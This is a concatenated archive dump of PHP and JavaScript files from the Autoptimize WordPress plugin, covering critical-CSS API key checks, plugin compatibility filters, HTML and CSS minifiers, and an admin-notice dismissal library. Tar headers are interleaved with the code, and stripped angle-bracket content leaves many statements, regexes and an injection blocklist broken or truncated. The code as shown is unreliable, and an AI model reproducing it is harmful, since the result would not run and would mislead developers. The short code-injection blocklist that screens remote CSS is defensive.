esc_html__( 'Invalid' ); $color = '#dc3232'; // Red. if ( get_option( 'autoptimize_ccss_keyst' ) == 1 ) { // Translators: link to criticalcss.com page. $message = sprintf( esc_html__( 'Your API key is invalid. Please enter a valid %1$scriticalcss.com%2$s key.', 'autoptimize' ), '', '' ); } else { $message = esc_html__( 'Something went wrong when checking your API key, make sure you server can communicate with https://criticalcss.com and/ or try again later.', 'autoptimize' ); } } } else { // No key nor status // Set no key status. $status = 'nokey'; $status_msg = esc_html__( 'None' ); $color = '#ffb900'; // Yellow. // Translators: link to criticalcss.com page. $message = sprintf( esc_html__( 'Please enter a valid %1$scriticalcss.com%2$s API key to start.', 'autoptimize' ), '', '' ); } // Fill returned values. $key_return['status'] = $status; // Provide rendering information if required. if ( $render ) { $key_return['stmsg'] = $status_msg; $key_return['color'] = $color; $key_return['msg'] = $message; } // Return key status. return $key_return; } public function ao_ccss_key_validation( $key ) { $noptimize = $this->criticalcss->get_option( 'noptimize' ); // POST a dummy job to criticalcss.com to check for key validation // Prepare home URL for the request. $src_url = get_home_url(); // Avoid AO optimizations if required by config or avoid lazyload if lazyload is active in AO. if ( ! empty( $noptimize ) ) { $src_url .= '/?ao_noptirocket=1'; } elseif ( class_exists( 'autoptimizeImages', false ) && autoptimizeImages::should_lazyload_wrapper() ) { $src_url .= '/?ao_nolazy=1'; } $src_url = apply_filters( 'autoptimize_filter_ccss_cron_srcurl', $src_url ); if ( true !== autoptimizeUtils::is_local_server( parse_url( $src_url, PHP_URL_HOST ) ) ) { // Prepare the request. $url = esc_url_raw( AO_CCSS_API . 'generate' ); $args = array( 'headers' => apply_filters( 'autoptimize_ccss_cron_api_generate_headers', array( 'User-Agent' => 'Autoptimize v' . AO_CCSS_VER, 'Content-type' => 'application/json; charset=utf-8', 'Authorization' => 'JWT ' . $key, 'Connection' => 'close', ) ), // Body must be JSON. 'body' => json_encode( apply_filters( 'autoptimize_ccss_cron_api_generate_body', array( 'url' => $src_url, 'aff' => 1, 'aocssv' => AO_CCSS_VER, ) ), JSON_UNESCAPED_SLASHES ), ); // Dispatch the request and store its response code. $req = wp_safe_remote_post( $url, $args ); $code = wp_remote_retrieve_response_code( $req ); $body = json_decode( wp_remote_retrieve_body( $req ), true ); if ( 200 == $code ) { // Response is OK. // Set key status as valid and log key check. update_option( 'autoptimize_ccss_keyst', 2 ); $this->ao_ccss_log( 'criticalcss.com: API key is valid, updating key status', 3 ); // extract job-id from $body and put it in the queue as a P job // but only if no jobs and no rules! $queue = $this->criticalcss->get_option( 'queue' ); $rules = $this->criticalcss->get_option( 'rules' ); if ( ( empty( $queue ) || 0 == count( $queue ) ) && ( empty( $rules ) || ( is_array( $rules ) && 0 == count( $rules['types'] ) && 0 == count( $rules['paths'] ) ) ) ) { if ( 'JOB_QUEUED' == $body['job']['status'] || 'JOB_ONGOING' == $body['job']['status'] ) { $jprops['ljid'] = 'firstrun'; $jprops['rtarget'] = 'types|is_front_page'; $jprops['ptype'] = 'is_front_page'; $jprops['hashes'][] = 'dummyhash'; $jprops['hash'] = 'dummyhash'; $jprops['file'] = null; $jprops['jid'] = $body['job']['id']; $jprops['jqstat'] = $body['job']['status']; $jprops['jrstat'] = null; $jprops['jvstat'] = null; $jprops['jctime'] = microtime( true ); $jprops['jftime'] = null; $queue['/'] = $jprops; $queue_raw = json_encode( $queue ); update_option( 'autoptimize_ccss_queue', $queue_raw, false ); $this->ao_ccss_log( 'Created P job for is_front_page based on API key check response.', 3 ); } } return true; } elseif ( 401 == $code ) { // Response is unauthorized // Set key status as invalid and log key check. update_option( 'autoptimize_ccss_keyst', 1 ); $this->ao_ccss_log( 'criticalcss.com: API key is invalid, updating key status', 3 ); return false; } else { // Response unkown // Log key check attempt. $this->ao_ccss_log( 'criticalcss.com: could not check API key status, this is a service error, body follows if any...', 2 ); if ( ! empty( $body ) ) { $this->ao_ccss_log( print_r( $body, true ), 2 ); } if ( is_wp_error( $req ) ) { $this->ao_ccss_log( $req->get_error_message(), 2 ); } return false; } } else { // localhost/ private network server, no API check possible. return false; } } public function ao_ccss_viewport() { // Get viewport size // Attach viewport option. $viewport = $this->criticalcss->get_option( 'viewport' ); return array( 'w' => ! empty( $viewport['w'] ) ? $viewport['w'] : '', 'h' => ! empty( $viewport['h'] ) ? $viewport['h'] : '', ); } public function ao_ccss_check_contents( $ccss ) { // Perform basic exploit avoidance and CSS validation. if ( ! empty( $ccss ) ) { // Try to avoid code injection. $blocklist = array( '#!/', 'function(', 'ao_ccss_log( 'Critical CSS received did not seem to contain real CSS.', 2 ); return false; } } } // Return true if file critical CSS is sane. return true; } public function ao_ccss_log( $msg, $lvl ) { // Commom logging facility // Attach debug option. $debug = $this->criticalcss->get_option( 'debug' ); // Prepare log levels, where accepted $lvl are: // 1: II (for info) // 2: EE (for error) // 3: DD (for debug) // Default: UU (for unkown). $level = false; if ( $debug ) { switch ( $lvl ) { case 1: $level = 'II'; break; case 2: $level = 'EE'; break; case 3: $level = 'DD'; break; default: $level = 'UU'; } } // Prepare and write a log message if there's a valid level. if ( $level ) { // Prepare message. $message = date( 'c' ) . ' - [' . $level . '] ' . htmlentities( $msg ) . '
'; // @codingStandardsIgnoreLine // Write message to log file. error_log( $message, 3, AO_CCSS_LOG ); } } public function ao_ccss_clear_page_tpl_cache() { // Clears transient cache for page templates. delete_transient( 'autoptimize_ccss_page_templates' ); } } plugins/autoptimize-/classes/autoptimizeCompatibility.php000064400000014226152335264760020150 0ustar00conf = autoptimizeConfig::instance(); $this->run(); } } /** * Runs multiple compatibility snippets to ensure important plugins work out of the box. */ public function run() { // Edit with Elementor in frontend admin menu (so for editors/ administrators) needs JS opt. disabled to appear & function. if ( defined( 'ELEMENTOR_VERSION' ) && is_user_logged_in() && current_user_can( 'edit_posts' ) && apply_filters( 'autoptimize_filter_compatibility_editelementor_active', true ) ) { add_filter( 'autoptimize_filter_js_noptimize', '__return_true' ); } // Revslider; jQuery should not be deferred + exclude all revslider JS. if ( defined( 'RS_REVISION' ) && $this->conf->get( 'autoptimize_js' ) && true == $this->inline_js_config_checker() && apply_filters( 'autoptimize_filter_compatibility_revslider_active', true ) ) { add_filter( 'autoptimize_filter_js_exclude', function( $js_excl = '', $html = '' ) { $revslider_excl = 'revslider, setREVStartSize, window.RSIW, window.RS_MODULES, jquery.min.js'; if ( ! empty( $html ) && false !== strpos( $html, 'conf->get( 'autoptimize_js' ) && false === is_user_logged_in() && apply_filters( 'autoptimize_filter_compatibility_revslider_remover_active', true ) ) { add_filter( 'autoptimize_filter_js_removables', function( $to_remove = '', $html = '' ) { if ( ! empty( $html ) && false === strpos( $html, 'inline_js_config_checker() && false === strpos( $this->conf->get( 'autoptimize_js_exclude' ), 'jquery.min.js' ) && apply_filters( 'autoptimize_filter_compatibility_inline_jquery', true ) ) { add_filter( 'autoptimize_filter_js_exclude', function( $js_excl = '', $html = '' ) { if ( ! empty( $html ) && preg_match( '/]*>[^<]*(jQuery|\$)\([^<]*<\/script>/Usm', $html ) ) { if ( is_array( $js_excl ) ) { $js_excl = implode( ',', $js_excl ); } if ( false === strpos( $js_excl, 'jquery.min.js' ) ) { $js_excl .= ', jquery.min.js'; } // also exclude jquery.js if for whatever reason that is still used. if ( false === strpos( $js_excl, 'jquery.js' ) ) { $js_excl .= ', jquery.js'; } } return $js_excl; }, 12, 2 ); } // Make JS-based Gutenberg blocks work OOTB. if ( $this->inline_js_config_checker() && apply_filters( 'autoptimize_filter_compatibility_gutenberg_js', true ) ) { add_filter( 'autoptimize_filter_js_exclude', function( $js_excl = '', $html = '' ) { if ( ! empty( $html ) && false !== strpos( $html, 'wp.i18n' ) || false !== strpos( $html, 'wp.apiFetch' ) || false !== strpos( $html, 'window.lodash' ) ) { if ( is_array( $js_excl ) ) { $js_excl = implode( ',', $js_excl ); } if ( false === strpos( $js_excl, 'jquery.min.js' ) ) { $js_excl .= ', jquery.min.js'; } if ( false === strpos( $js_excl, 'wp-includes/js/dist' ) ) { $js_excl .= ', wp-includes/js/dist'; } } return $js_excl; }, 13, 2 ); } } public function inline_js_config_checker() { static $inline_js_flagged = null; if ( null === $inline_js_flagged ) { if ( ( $this->conf->get( 'autoptimize_js_aggregate' ) || apply_filters( 'autoptimize_filter_js_dontaggregate', false ) ) && apply_filters( 'autoptimize_js_include_inline', $this->conf->get( 'autoptimize_js_include_inline' ) ) ) { // if all files and also inline JS are aggregated we don't have to worry about inline JS. $inline_js_flagged = false; } else if ( apply_filters( 'autoptimize_filter_js_defer_not_aggregate', $this->conf->get( 'autoptimize_js_defer_not_aggregate' ) ) && apply_filters( 'autoptimize_js_filter_defer_inline', $this->conf->get( 'autoptimize_js_defer_inline' ) ) ) { // and when not aggregating but deferring all including inline JS, then all is OK too. $inline_js_flagged = false; } // in all other cases we need to pay attention to inline JS requiring src'ed JS to be available. $inline_js_flagged = true; } return $inline_js_flagged; } } plugins/autoptimize-/classes/external/index.html000064400000000276152335264760016152 0ustar00Generated by Autoptimize plugins/autoptimize-/classes/external/php/index.html000064400000000276152335264760016741 0ustar00Generated by Autoptimize plugins/autoptimize-/classes/external/php/ao-minify-html.php000064400000021204152335264760020301 0ustar00 */ class AO_Minify_HTML { /** @var string */ private $_html; /** * "Minify" an HTML page * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. * * 'keepComments' : (optional boolean) should the HTML comments be kept * in the HTML Code? * * @return string */ public static function minify($html, $options = array()) { $min = new AO_Minify_HTML($html, $options); return $min->process(); } /** * Create a minifier object * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. * * @return null */ public function __construct($html, $options = array()) { $this->_html = str_replace("\r\n", "\n", trim($html)); if (isset($options['xhtml'])) { $this->_isXhtml = (bool)$options['xhtml']; } if (isset($options['cssMinifier'])) { $this->_cssMinifier = $options['cssMinifier']; } if (isset($options['jsMinifier'])) { $this->_jsMinifier = $options['jsMinifier']; } if (isset($options['keepComments'])) { $this->_keepComments = $options['keepComments']; } } /** * Minify the markeup given in the constructor * * @return string */ public function process() { if ($this->_isXhtml === null) { $this->_isXhtml = (false !== strpos($this->_html, '_replacementHash = 'MINIFYHTML' . bin2hex( random_bytes( 16 ) ); $this->_placeholders = array(); // replace SCRIPTs (and minify) with placeholders $this->_html = preg_replace_callback( '/(\\s*)(]*?>)([\\s\\S]*?)<\\/script>(\\s*)/i' ,array($this, '_removeScriptCB') ,$this->_html); // replace STYLEs (and minify) with placeholders $this->_html = preg_replace_callback( '/\\s*(]*?>)([\\s\\S]*?)<\\/style>\\s*/i' ,array($this, '_removeStyleCB') ,$this->_html); // remove HTML comments (not containing IE conditional comments). if ($this->_keepComments == false) { $this->_html = preg_replace_callback( '//' ,array($this, '_commentCB') ,$this->_html); } // replace PREs with placeholders $this->_html = preg_replace_callback('/\\s*(]*?>[\\s\\S]*?<\\/pre>)\\s*/i' ,array($this, '_removePreCB') ,$this->_html); // replace TEXTAREAs with placeholders $this->_html = preg_replace_callback( '/\\s*(]*?>[\\s\\S]*?<\\/textarea>)\\s*/i' ,array($this, '_removeTextareaCB') ,$this->_html); // replace data: URIs with placeholders $this->_html = preg_replace_callback( '/(=("|\')data:.*\\2)/Ui' ,array($this, '_removeDataURICB') ,$this->_html); // trim each line. // replace by space instead of '' to avoid newline after opening tag getting zapped $this->_html = preg_replace('/^\s+|\s+$/m', ' ', $this->_html); // remove ws around block/undisplayed elements $this->_html = preg_replace('/\\s+(<\\/?(?:area|article|aside|base(?:font)?|blockquote|body' .'|canvas|caption|center|col(?:group)?|dd|dir|div|dl|dt|fieldset|figcaption|figure|footer|form' .'|frame(?:set)?|h[1-6]|head|header|hgroup|hr|html|legend|li|link|main|map|menu|meta|nav' .'|ol|opt(?:group|ion)|output|p|param|section|t(?:able|body|head|d|h||r|foot|itle)' .'|ul|video)\\b[^>]*>)/i', '$1', $this->_html); // remove ws outside of all elements $this->_html = preg_replace_callback( '/>([^<]+)_html); // use newlines before 1st attribute in open tags (to limit line lengths) //$this->_html = preg_replace('/(<[a-z\\-]+)\\s+([^>]+>)/i', "$1\n$2", $this->_html); // reverse order while preserving keys to ensure the last replacement is done first, etc ... $this->_placeholders = array_reverse( $this->_placeholders, true ); // fill placeholders $this->_html = str_replace( array_keys($this->_placeholders) ,array_values($this->_placeholders) ,$this->_html ); return $this->_html; } protected function _commentCB($m) { return (0 === strpos($m[1], '[') || false !== strpos($m[1], '_replacementHash . count($this->_placeholders) . '%'; $this->_placeholders[$placeholder] = $content; return $placeholder; } protected $_isXhtml = null; protected $_replacementHash = null; protected $_placeholders = array(); protected $_cssMinifier = null; protected $_jsMinifier = null; protected $_keepComments = false; protected function _outsideTagCB($m) { return '>' . preg_replace('/^\\s+|\\s+$/', ' ', $m[1]) . '<'; } protected function _removePreCB($m) { return $this->_reservePlace($m[1]); } protected function _removeTextareaCB($m) { return $this->_reservePlace($m[1]); } protected function _removeDataURICB($m) { return $this->_reservePlace($m[1]); } protected function _removeStyleCB($m) { $openStyle = $m[1]; $css = $m[2]; // remove HTML comments $css = preg_replace('/(?:^\\s*\\s*$)/', '', $css); // remove CDATA section markers $css = $this->_removeCdata($css); // minify $minifier = $this->_cssMinifier ? $this->_cssMinifier : 'trim'; $css = call_user_func($minifier, $css); return $this->_reservePlace($this->_needsCdata($css) ? "{$openStyle}/**/" : "{$openStyle}{$css}" ); } protected function _removeScriptCB($m) { $openScript = $m[2]; $js = $m[3]; // whitespace surrounding? preserve at least one space $ws1 = ($m[1] === '') ? '' : ' '; $ws2 = ($m[4] === '') ? '' : ' '; if ($this->_keepComments == false) { // remove HTML comments (and ending "//" if present) $js = preg_replace('/(?:^\\s*\\s*$)/', '', $js); // remove CDATA section markers $js = $this->_removeCdata($js); } // minify $minifier = $this->_jsMinifier ? $this->_jsMinifier : 'trim'; $js = call_user_func($minifier, $js); return $this->_reservePlace($this->_needsCdata($js) ? "{$ws1}{$openScript}/**/{$ws2}" : "{$ws1}{$openScript}{$js}{$ws2}" ); } protected function _removeCdata($str) { return (false !== strpos($str, ' */','/**/',''), '', $str) : $str; } protected function _needsCdata($str) { return ($this->_isXhtml && preg_match('/(?:[<&]|\\-\\-|\\]\\]>)/', $str)); } } plugins/autoptimize-/classes/external/php/persist-admin-notices-dismissal/dismiss-notice.js000064400000001544152335264760026442 0ustar00(function ($) { //shorthand for ready event. $( function () { $( 'div[data-dismissible] button.notice-dismiss' ).on('click', function (event) { event.preventDefault(); var $this = $( this ); var attr_value, option_name, dismissible_length, data; attr_value = $this.parent().attr( 'data-dismissible' ).split( '-' ); // remove the dismissible length from the attribute value and rejoin the array. dismissible_length = attr_value.pop(); option_name = attr_value.join( '-' ); data = { 'action': 'dismiss_admin_notice', 'option_name': option_name, 'dismissible_length': dismissible_length, 'nonce': dismissible_notice.nonce }; // We can also pass the url value separately from ajaxurl for front end AJAX implementations $.post( ajaxurl, data ); } ); } ) }(jQuery)); classes/external/php/persist-admin-notices-dismissal/persist-admin-notices-dismissal.php000064400000007710152335264760032014 0ustar00plugins/autoptimize- * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * @package Persist Admin notices Dismissal * @author Collins Agbonghama * @author Andy Fragen * @license http://www.gnu.org/licenses GNU General Public License * @version 1.4.1 */ /** * Exit if called directly. */ if ( ! defined( 'ABSPATH' ) ) { die; } if ( ! class_exists( 'PAnD' ) ) { /** * Class PAnD */ class PAnD { /** * Init hooks. */ public static function init() { add_action( 'admin_enqueue_scripts', array( __CLASS__, 'load_script' ) ); add_action( 'wp_ajax_dismiss_admin_notice', array( __CLASS__, 'dismiss_admin_notice' ) ); } /** * Enqueue javascript and variables. */ public static function load_script() { if ( is_customize_preview() ) { return; } wp_enqueue_script( 'dismissible-notices', plugins_url( 'dismiss-notice.js', __FILE__ ), array( 'jquery', 'common' ), false, true ); wp_localize_script( 'dismissible-notices', 'dismissible_notice', array( 'nonce' => wp_create_nonce( 'dismissible-notice' ), ) ); } /** * Handles Ajax request to persist notices dismissal. * Uses check_ajax_referer to verify nonce. */ public static function dismiss_admin_notice() { $option_name = sanitize_text_field( $_POST['option_name'] ); $dismissible_length = sanitize_text_field( $_POST['dismissible_length'] ); if ( 'forever' != $dismissible_length ) { // If $dismissible_length is not an integer default to 1 $dismissible_length = ( 0 == absint( $dismissible_length ) ) ? 1 : $dismissible_length; $dismissible_length = strtotime( absint( $dismissible_length ) . ' days' ); } check_ajax_referer( 'dismissible-notice', 'nonce' ); self::set_admin_notice_cache( $option_name, $dismissible_length ); wp_die(); } /** * Is admin notice active? * * @param string $arg data-dismissible content of notice. * * @return bool */ public static function is_admin_notice_active( $arg ) { $array = explode( '-', $arg ); $length = array_pop( $array ); $option_name = implode( '-', $array ); $db_record = self::get_admin_notice_cache( $option_name ); if ( 'forever' == $db_record ) { return false; } elseif ( absint( $db_record ) >= time() ) { return false; } else { return true; } } /** * Returns admin notice cached timeout. * * @access public * * @param string|bool $id admin notice name or false. * * @return array|bool The timeout. False if expired. */ public static function get_admin_notice_cache( $id = false ) { if ( ! $id ) { return false; } $cache_key = 'pand-' . md5( $id ); $timeout = get_site_option( $cache_key ); $timeout = 'forever' === $timeout ? time() + 60 : $timeout; if ( empty( $timeout ) || time() > $timeout ) { return false; } return $timeout; } /** * Sets admin notice timeout in site option. * * @access public * * @param string $id Data Identifier. * @param string|bool $timeout Timeout for admin notice. * * @return bool */ public static function set_admin_notice_cache( $id, $timeout ) { $cache_key = 'pand-' . md5( $id ); update_site_option( $cache_key, $timeout ); return true; } } } plugins/autoptimize-/classes/external/php/persist-admin-notices-dismissal/README.md000064400000010765152335264760024436 0ustar00# Persist Admin notice Dismissals [![Latest Stable Version](https://poser.pugx.org/collizo4sky/persist-admin-notices-dismissal/v/stable)](https://packagist.org/packages/collizo4sky/persist-admin-notices-dismissal) [![Total Downloads](https://poser.pugx.org/collizo4sky/persist-admin-notices-dismissal/downloads)](https://packagist.org/packages/collizo4sky/persist-admin-notices-dismissal) Simple framework library that persists the dismissal of admin notices across pages in WordPress dashboard. ## Installation Run `composer require collizo4sky/persist-admin-notices-dismissal` Alternatively, clone or download this repo into the `vendor/` folder in your plugin, and include/require the `persist-admin-notices-dismissal.php` file like so ```php require __DIR__ . '/vendor/persist-admin-notices-dismissal/persist-admin-notices-dismissal.php'; add_action( 'admin_init', array( 'PAnD', 'init' ) ); ``` or let Composer's autoloader do the work. ## How to Use Firstly, install and activate this library within a plugin. Say you have the following markup as your admin notice, ```php function sample_admin_notice__success() { ?>

base_prefix . 'sitemeta' : $wpdb->base_prefix . 'options'; $column = is_multisite() ? 'meta_key' : 'option_name'; $delete_string = 'DELETE FROM ' . $table . ' WHERE ' . $column . ' LIKE %s LIMIT 1000'; $wpdb->query( $wpdb->prepare( $delete_string, array( '%pand-%' ) ) ); ``` Cool beans. Isn't it? plugins/autoptimize-/classes/external/php/yui-php-cssmin-bundled/index.html000064400000000276152335264760023241 0ustar00Generated by Autoptimize plugins/autoptimize-/classes/external/php/yui-php-cssmin-bundled/Colors.php000064400000012575152335264760023223 0ustar00 'azure', '#f5f5dc' => 'beige', '#ffe4c4' => 'bisque', '#a52a2a' => 'brown', '#ff7f50' => 'coral', '#ffd700' => 'gold', '#808080' => 'gray', '#008000' => 'green', '#4b0082' => 'indigo', '#fffff0' => 'ivory', '#f0e68c' => 'khaki', '#faf0e6' => 'linen', '#800000' => 'maroon', '#000080' => 'navy', '#fdf5e6' => 'oldlace', '#808000' => 'olive', '#ffa500' => 'orange', '#da70d6' => 'orchid', '#cd853f' => 'peru', '#ffc0cb' => 'pink', '#dda0dd' => 'plum', '#800080' => 'purple', '#f00' => 'red', '#fa8072' => 'salmon', '#a0522d' => 'sienna', '#c0c0c0' => 'silver', '#fffafa' => 'snow', '#d2b48c' => 'tan', '#008080' => 'teal', '#ff6347' => 'tomato', '#ee82ee' => 'violet', '#f5deb3' => 'wheat' ); } public static function getNamedToHexMap() { // Named colors longer than hex counterpart return array( 'aliceblue' => '#f0f8ff', 'antiquewhite' => '#faebd7', 'aquamarine' => '#7fffd4', 'black' => '#000', 'blanchedalmond' => '#ffebcd', 'blueviolet' => '#8a2be2', 'burlywood' => '#deb887', 'cadetblue' => '#5f9ea0', 'chartreuse' => '#7fff00', 'chocolate' => '#d2691e', 'cornflowerblue' => '#6495ed', 'cornsilk' => '#fff8dc', 'darkblue' => '#00008b', 'darkcyan' => '#008b8b', 'darkgoldenrod' => '#b8860b', 'darkgray' => '#a9a9a9', 'darkgreen' => '#006400', 'darkgrey' => '#a9a9a9', 'darkkhaki' => '#bdb76b', 'darkmagenta' => '#8b008b', 'darkolivegreen' => '#556b2f', 'darkorange' => '#ff8c00', 'darkorchid' => '#9932cc', 'darksalmon' => '#e9967a', 'darkseagreen' => '#8fbc8f', 'darkslateblue' => '#483d8b', 'darkslategray' => '#2f4f4f', 'darkslategrey' => '#2f4f4f', 'darkturquoise' => '#00ced1', 'darkviolet' => '#9400d3', 'deeppink' => '#ff1493', 'deepskyblue' => '#00bfff', 'dodgerblue' => '#1e90ff', 'firebrick' => '#b22222', 'floralwhite' => '#fffaf0', 'forestgreen' => '#228b22', 'fuchsia' => '#f0f', 'gainsboro' => '#dcdcdc', 'ghostwhite' => '#f8f8ff', 'goldenrod' => '#daa520', 'greenyellow' => '#adff2f', 'honeydew' => '#f0fff0', 'indianred' => '#cd5c5c', 'lavender' => '#e6e6fa', 'lavenderblush' => '#fff0f5', 'lawngreen' => '#7cfc00', 'lemonchiffon' => '#fffacd', 'lightblue' => '#add8e6', 'lightcoral' => '#f08080', 'lightcyan' => '#e0ffff', 'lightgoldenrodyellow' => '#fafad2', 'lightgray' => '#d3d3d3', 'lightgreen' => '#90ee90', 'lightgrey' => '#d3d3d3', 'lightpink' => '#ffb6c1', 'lightsalmon' => '#ffa07a', 'lightseagreen' => '#20b2aa', 'lightskyblue' => '#87cefa', 'lightslategray' => '#778899', 'lightslategrey' => '#778899', 'lightsteelblue' => '#b0c4de', 'lightyellow' => '#ffffe0', 'limegreen' => '#32cd32', 'mediumaquamarine' => '#66cdaa', 'mediumblue' => '#0000cd', 'mediumorchid' => '#ba55d3', 'mediumpurple' => '#9370db', 'mediumseagreen' => '#3cb371', 'mediumslateblue' => '#7b68ee', 'mediumspringgreen' => '#00fa9a', 'mediumturquoise' => '#48d1cc', 'mediumvioletred' => '#c71585', 'midnightblue' => '#191970', 'mintcream' => '#f5fffa', 'mistyrose' => '#ffe4e1', 'moccasin' => '#ffe4b5', 'navajowhite' => '#ffdead', 'olivedrab' => '#6b8e23', 'orangered' => '#ff4500', 'palegoldenrod' => '#eee8aa', 'palegreen' => '#98fb98', 'paleturquoise' => '#afeeee', 'palevioletred' => '#db7093', 'papayawhip' => '#ffefd5', 'peachpuff' => '#ffdab9', 'powderblue' => '#b0e0e6', 'rebeccapurple' => '#663399', 'rosybrown' => '#bc8f8f', 'royalblue' => '#4169e1', 'saddlebrown' => '#8b4513', 'sandybrown' => '#f4a460', 'seagreen' => '#2e8b57', 'seashell' => '#fff5ee', 'slateblue' => '#6a5acd', 'slategray' => '#708090', 'slategrey' => '#708090', 'springgreen' => '#00ff7f', 'steelblue' => '#4682b4', 'turquoise' => '#40e0d0', 'white' => '#fff', 'whitesmoke' => '#f5f5f5', 'yellow' => '#ff0', 'yellowgreen' => '#9acd32' ); } } plugins/autoptimize-/classes/external/php/yui-php-cssmin-bundled/Minifier.php000064400000101012152335264760023505 0ustar00raisePhpLimits = (bool) $raisePhpLimits; $this->memoryLimit = 128 * 1048576; // 128MB in bytes $this->pcreBacktrackLimit = 1000 * 1000; $this->pcreRecursionLimit = 500 * 1000; $this->hexToNamedColorsMap = Colors::getHexToNamedMap(); $this->namedToHexColorsMap = Colors::getNamedToHexMap(); $this->namedToHexColorsRegex = sprintf( '/([:,( ])(%s)( |,|\)|;|$)/Si', implode('|', array_keys($this->namedToHexColorsMap)) ); $this->numRegex = sprintf('-?\d*\.?\d+%s?', $this->unitsGroupRegex); $this->setShortenZeroValuesRegexes(); } /** * Parses & minifies the given input CSS string * @param string $css * @return string */ public function run($css = '') { if (empty($css) || !is_string($css)) { return ''; } $this->resetRunProperties(); if ($this->raisePhpLimits) { $this->doRaisePhpLimits(); } return $this->minify($css); } /** * Sets whether to keep or remove sourcemap special comment. * Sourcemap comments are removed by default. * @param bool $keepSourceMapComment */ public function keepSourceMapComment($keepSourceMapComment = true) { $this->keepSourceMapComment = (bool) $keepSourceMapComment; } /** * Sets whether to keep or remove important comments. * Important comments outside of a declaration block are kept by default. * @param bool $removeImportantComments */ public function removeImportantComments($removeImportantComments = true) { $this->keepImportantComments = !(bool) $removeImportantComments; } /** * Sets the approximate column after which long lines will be splitted in the output * with a linebreak. * @param int $position */ public function setLineBreakPosition($position) { $this->linebreakPosition = (int) $position; } /** * Sets the memory limit for this script * @param int|string $limit */ public function setMemoryLimit($limit) { $this->memoryLimit = Utils::normalizeInt($limit); } /** * Sets the maximum execution time for this script * @param int|string $seconds */ public function setMaxExecutionTime($seconds) { $this->maxExecutionTime = (int) $seconds; } /** * Sets the PCRE backtrack limit for this script * @param int $limit */ public function setPcreBacktrackLimit($limit) { $this->pcreBacktrackLimit = (int) $limit; } /** * Sets the PCRE recursion limit for this script * @param int $limit */ public function setPcreRecursionLimit($limit) { $this->pcreRecursionLimit = (int) $limit; } /** * Builds regular expressions needed for shortening zero values */ private function setShortenZeroValuesRegexes() { $zeroRegex = '0'. $this->unitsGroupRegex; $numOrPosRegex = '('. $this->numRegex .'|top|left|bottom|right|center) '; $oneZeroSafeProperties = array( '(?:line-)?height', '(?:(?:min|max)-)?width', 'top', 'left', 'background-position', 'bottom', 'right', 'border(?:-(?:top|left|bottom|right))?(?:-width)?', 'border-(?:(?:top|bottom)-(?:left|right)-)?radius', 'column-(?:gap|width)', 'margin(?:-(?:top|left|bottom|right))?', 'outline-width', 'padding(?:-(?:top|left|bottom|right))?' ); // First zero regex $regex = '/(^|;)('. implode('|', $oneZeroSafeProperties) .'):%s/Si'; $this->shortenOneZeroesRegex = sprintf($regex, $zeroRegex); // Multiple zeroes regexes $regex = '/(^|;)(margin|padding|border-(?:width|radius)|background-position):%s/Si'; $this->shortenTwoZeroesRegex = sprintf($regex, $numOrPosRegex . $zeroRegex); $this->shortenThreeZeroesRegex = sprintf($regex, $numOrPosRegex . $numOrPosRegex . $zeroRegex); $this->shortenFourZeroesRegex = sprintf($regex, $numOrPosRegex . $numOrPosRegex . $numOrPosRegex . $zeroRegex); } /** * Resets properties whose value may change between runs */ private function resetRunProperties() { $this->comments = array(); $this->ruleBodies = array(); $this->preservedTokens = array(); } /** * Tries to configure PHP to use at least the suggested minimum settings * @return void */ private function doRaisePhpLimits() { $phpLimits = array( 'memory_limit' => $this->memoryLimit, 'max_execution_time' => $this->maxExecutionTime, 'pcre.backtrack_limit' => $this->pcreBacktrackLimit, 'pcre.recursion_limit' => $this->pcreRecursionLimit ); // If current settings are higher respect them. foreach ($phpLimits as $name => $suggested) { $current = Utils::normalizeInt(ini_get($name)); if ($current >= $suggested) { continue; } // memoryLimit exception: allow -1 for "no memory limit". if ($name === 'memory_limit' && $current === -1) { continue; } // maxExecutionTime exception: allow 0 for "no memory limit". if ($name === 'max_execution_time' && $current === 0) { continue; } ini_set($name, $suggested); } } /** * Registers a preserved token * @param string $token * @return string The token ID string */ private function registerPreservedToken($token) { $tokenId = sprintf(self::PRESERVED_TOKEN, count($this->preservedTokens)); $this->preservedTokens[$tokenId] = $token; return $tokenId; } /** * Registers a candidate comment token * @param string $comment * @return string The comment token ID string */ private function registerCommentToken($comment) { $tokenId = sprintf(self::COMMENT_TOKEN, count($this->comments)); $this->comments[$tokenId] = $comment; return $tokenId; } /** * Registers a rule body token * @param string $body the minified rule body * @return string The rule body token ID string */ private function registerRuleBodyToken($body) { if (empty($body)) { return ''; } $tokenId = sprintf(self::RULE_BODY_TOKEN, count($this->ruleBodies)); $this->ruleBodies[$tokenId] = $body; return $tokenId; } private function registerUnquotedFontToken($body) { if (empty($body)) { return ''; } $tokenId = sprintf(self::UNQUOTED_FONT_TOKEN, count($this->unquotedFontTokens)); $this->unquotedFontTokens[$tokenId] = $body; return $tokenId; } /** * Parses & minifies the given input CSS string * @param string $css * @return string */ private function minify($css) { // Process data urls $css = $this->processDataUrls($css); // Process comments $css = preg_replace_callback( '/(?processComments($css); // Process rule bodies $css = $this->processRuleBodies($css); // Process at-rules and selectors $css = $this->processAtRulesAndSelectors($css); // Restore preserved rule bodies before splitting $css = strtr($css, $this->ruleBodies); // Split long lines in output if required $css = $this->processLongLineSplitting($css); // Restore preserved comments and strings $css = strtr($css, $this->preservedTokens); return trim($css); } /** * Searches & replaces all data urls with tokens before we start compressing, * to avoid performance issues running some of the subsequent regexes against large string chunks. * @param string $css * @return string */ private function processDataUrls($css) { $ret = ''; $searchOffset = $substrOffset = 0; // Since we need to account for non-base64 data 